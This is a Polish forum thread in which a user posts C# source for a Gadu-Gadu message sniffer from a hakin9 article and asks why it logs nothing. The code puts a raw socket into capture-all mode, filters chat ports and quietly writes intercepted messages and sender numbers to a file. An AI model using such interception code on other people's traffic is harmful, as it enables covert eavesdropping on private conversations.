Pokaż wyniki 1 do 2 z 2

Temat: [C#]Przechwytywnie wiadomości gg.

  1. #1

    Domyślnie [C#]Przechwytywnie wiadomości gg.

    Witam, przeczytałem artykuł z hakin9 o przechwytywaniu wiadomości gadu-gadu. Jest tam przedstawiony program, który ma przechwytywać wiadomości. Artykuł znajduję się tu: http://hakin9.org/system/artic[...]mosci_gadu-gadu.pdf?1249336600. Program się uruchamia, ale gdy piszę z swojego gg np do Infobota program nic nie zapisuje. Dostaje 2 ostrzeżenia podczas kompilacji:
    System.Net.Dns.GetHostByName(string)' is obsolete: 'GetHostByName is obsoleted for this type, please use GetHostEntry instead. http://go.microsoft.com/fwlink/?linkid=14202'

    using (File.Create(filePath)); //tu , gdy jest średnik otrzymuje ostrzeżenie: Possible mistaken empty statement, bez średnika znika ostrzeżenie znika.

    Dlaczego ten program nie działa co jest źle? Próbowałem z gg w wersji 6, 7.7 i najnowszej. Program nie zapisuje danych albo ich wcale nie zapisuje po prostu nie ma pliku.

    IPHeader.cs
    Kod:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Net;
    using System.Windows.Forms;
    namespace PrzechwytywanieGG
    {
    
        enum EProtocolType
        {
            TCP,
            OTHER
        }
        class IPHeader
        {
            private byte versionAndHeaderLength;
            private byte typeOfService;
            private ushort totalLenght;
            private ushort identification;
            private ushort flagsAndOffset;
            private byte tTL;
            private byte protocolType;
            private short checkSum;
            private uint sourceAddress;
            private uint destinationAddress;
            private byte headerLength;
            private byte[] ipData = new byte[4096];
    
            public IPHeader(byte[] dataReceived, int received)
            {
                try
                {
                    MemoryStream sm = new MemoryStream(dataReceived,0,received);
                    BinaryReader br = new BinaryReader(sm);
                    versionAndHeaderLength=br.ReadByte();
                    typeOfService=br.ReadByte();
                    totalLenght=(ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    identification=(ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    flagsAndOffset=(ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    tTL=br.ReadByte();
                    protocolType=br.ReadByte();
                    checkSum=IPAddress.NetworkToHostOrder(br.ReadInt16());
                    sourceAddress=(uint)(IPAddress.NetworkToHostOrder(br.ReadInt32()));
                    destinationAddress=(uint)IPAddress.NetworkToHostOrder(br.ReadInt32());
                    headerLength=versionAndHeaderLength;
                    headerLength=(byte)((headerLength & 0x0f)*4);
                    Array.Copy(dataReceived,headerLength,ipData,0,totalLenght-headerLength);
                }
                catch(Exception ex)
                {
                    //błąd
                    MessageBox.Show("Wyjątek z konstruktora IPHeader" + ex);
                }
            }
            //Właściwości klasy IPHeader
            public byte[] Data
            {
                get
                {
                    return ipData;
                }
            }
            public EProtocolType TypeOfProtocol
            {
                get
                {
                    if (protocolType == 6)
                        return EProtocolType.TCP;
                    return EProtocolType.OTHER;
                }
            }
            public int MessageLength
            {
                get
                {
                    return totalLenght - headerLength;
                }
            }
            
        }
    }
    TCPHeader.cs
    Kod:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Net;
    using System.Windows.Forms;
    namespace PrzechwytywanieGG
    {
        class TCPHeader
        {
            private ushort sourcePort;
            private ushort destinationPort;
            private uint sequenceNumber;
            private uint acknowledgmentNumber;
            private ushort dataOffsetAndFlags;
            private ushort window;
            private short checkSum;
            private ushort urgentPointer;
            private byte headerLength;
            private byte[] tcpData = new byte[4096];
    
            public TCPHeader(byte[] data, int received)
            {
                try
                {
                    MemoryStream sm = new MemoryStream(data, 0, received);
                    BinaryReader br = new BinaryReader(sm);
                    sourcePort = (ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    destinationPort = (ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    sequenceNumber = (uint)IPAddress.NetworkToHostOrder(br.ReadInt32());
                    acknowledgmentNumber = (uint)IPAddress.NetworkToHostOrder(br.ReadInt32());
                    dataOffsetAndFlags = (ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    window = (ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    checkSum = (short)(IPAddress.NetworkToHostOrder(br.ReadInt16()));
                    urgentPointer = (ushort)IPAddress.NetworkToHostOrder(br.ReadInt16());
                    headerLength = (byte)(dataOffsetAndFlags >> 12);
                    headerLength *= 4;
                    Array.Copy(data, headerLength, tcpData, 0, received - headerLength);
                }
                catch (Exception ex) 
                {
                    MessageBox.Show("Wyjątek z Konstuktora TCPHeader" + ex);
                }
            }
            //Właściwości klasy TCPHeader
            public byte[] TcpData
            {
                get
                {
                    return tcpData;
                }
            }
            public ushort SourcePort
            {
                get
                {
                    return sourcePort;
                }
            }
            public ushort DestinationPort
            {
                get
                {
                    return destinationPort;
                }
            }
        }
    }

  2. #2

    Domyślnie

    Przepraszan za drugi post, ale w jednym się nie zmieściło ograniczenie do 10000 znaków.

    GGListener.cs
    Kod:
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Net;
    using System.Net.Sockets;
    using System.IO;
    using System.Windows.Forms;
    
    
    namespace PrzechwytywanieGG
    {
        class GGListener
        {
            private IPHeader ipHeader;
            private TCPHeader tcpHeader;
            private byte[] data;
            private Socket s;
            private string filePath;
    
            //konstruktor klasy
            public GGListener(string _fileParh)
            {
                filePath = _fileParh;
            }
    
            //metody
            private bool IsGGPort(ushort port)
            {
                return (port == 8074 || port == 443);
            }
    
            public void StartToListen()
            {
                try
                {
                    s = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
                    s.Bind(new IPEndPoint(MachineAddress(), 0));
                    byte[] optionInValue = new byte[4] { 1, 0, 0, 0 };
                    byte[] optionOutValue = new byte[4];
                    s.IOControl(IOControlCode.ReceiveAll, optionInValue, optionOutValue);
                    data = new byte[4096];
                    s.BeginReceive(data, 0, data.Length, SocketFlags.None, new AsyncCallback(AsyncDataReceived), null);
                }
                catch (Exception ex)
                {
                    //Błąd
                    MessageBox.Show("Wyjątek z StartToListen" + ex);
    
                }
            }
            private IPAddress MachineAddress()
            {
                string hostName = Dns.GetHostName();
                IPHostEntry ipHostEntry = Dns.GetHostByName(hostName);
                return ipHostEntry.AddressList[0];
            }
            private void AsyncDataReceived(IAsyncResult result)
            {
                try
                {
                    int nReceived = s.EndReceive(result);
                    ipHeader = new IPHeader(data, nReceived);
                    if (ipHeader.TypeOfProtocol == EProtocolType.TCP)
                    {
                        SaveInfo();
                    }
                    data = new byte[4096];
                    s.BeginReceive(data, 0, data.Length, SocketFlags.None, new AsyncCallback(AsyncDataReceived), null);
                }
                catch (Exception ex) 
                {
                    MessageBox.Show("Wyjątek z AsynDataReceived" + ex);
                }
            }
            //SaveInfo
            private void SaveInfo()
            {
                try
                {
                    tcpHeader = new TCPHeader(ipHeader.Data, ipHeader.MessageLength);
                    if (!(IsGGPort(tcpHeader.DestinationPort) || IsGGPort(tcpHeader.SourcePort)))
                        return;
                    if (BitConverter.ToUInt32(tcpHeader.TcpData, 0) == 0x0b || BitConverter.ToUInt32(tcpHeader.TcpData, 0) == 0x0a)
                    {
                        int nMsgLength = BitConverter.ToInt32(tcpHeader.TcpData,4);
                        int nStartingByte = 0;
                        if (!File.Exists(filePath))
                            using (File.Create(filePath)) ; //tu był średnik, gdy jest ostrzeżenie: Possible mistaken empty statement,bez znika	
                        using (StreamWriter sw = File.AppendText(filePath))
                        {
                            string msgType = " ";
                            sw.Write("\r\n++++++++++++++++++++++++++++++++++++\r\n");
                            if (tcpHeader.DestinationPort == 8074 || tcpHeader.DestinationPort == 443)
                            {
                                sw.Write("Wiadomość wychodząca:\r\n");
                                msgType = "Numer odbiorcy: ";
                                nStartingByte = 20;
                                nMsgLength -= 12;
                            }
                            if (tcpHeader.SourcePort == 8074 || tcpHeader.SourcePort == 443)
                            {
                                sw.Write("Wiadomość przychodząca:\r\n");
                                msgType = "Numer nadawcy:";
                                nStartingByte = 24;
                                nMsgLength -= 16;
                            }
                            sw.Write("Port źródłowy " + tcpHeader.SourcePort + "\r\n");
                            sw.Write("Port docelowy " + tcpHeader.DestinationPort + "\r\n");
                            sw.Write(msgType + BitConverter.ToUInt32(tcpHeader.TcpData, 8) + "\r\n");
                            Encoding e = Encoding.GetEncoding("windows-1250");
                            sw.Write("Wiadomość: " + e.GetString(tcpHeader.TcpData, nStartingByte, nMsgLength));
                        }
                    }
                }
                catch (Exception ex) 
                {
                    MessageBox.Show("Wyjątek z SaveInfo" + ex);
                }
            }
        }
    }
    Form.Cs
    Kod:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    
    
    namespace PrzechwytywanieGG
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
    
      
            }
    
            private void Form1_Load(object sender, EventArgs e)
            {
                GGListener ob = new GGListener(Application.UserAppDataPath + @"\plik.txt");
                ob.StartToListen();
            }
        }
    }
    Ostatnio edytowane przez Mad_Dud : 11-19-2009 - 21:49

Podobne wątki

  1. Podsłuch wiadomości sms
    By boozy in forum GSM/GPRS/EDGE/UMTS
    Odpowiedzi: 26
    Autor: 10-16-2009, 12:51
  2. Ściąganie wiadomości z cudzego GG
    By wojtel1973 in forum /dev/null
    Odpowiedzi: 1
    Autor: 06-05-2009, 20:34
  3. usuwanie wiadomości na gg
    By szliz in forum Komunikatory
    Odpowiedzi: 19
    Autor: 07-04-2008, 19:29
  4. Odkowanie wiadomości
    By czarnooch in forum Kryptografia
    Odpowiedzi: 4
    Autor: 03-02-2007, 19:41
  5. Nieprzeczytane wiadomości
    By m4rquez in forum Pomysły/Sugestie
    Odpowiedzi: 2
    Autor: 07-04-2006, 12:04

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj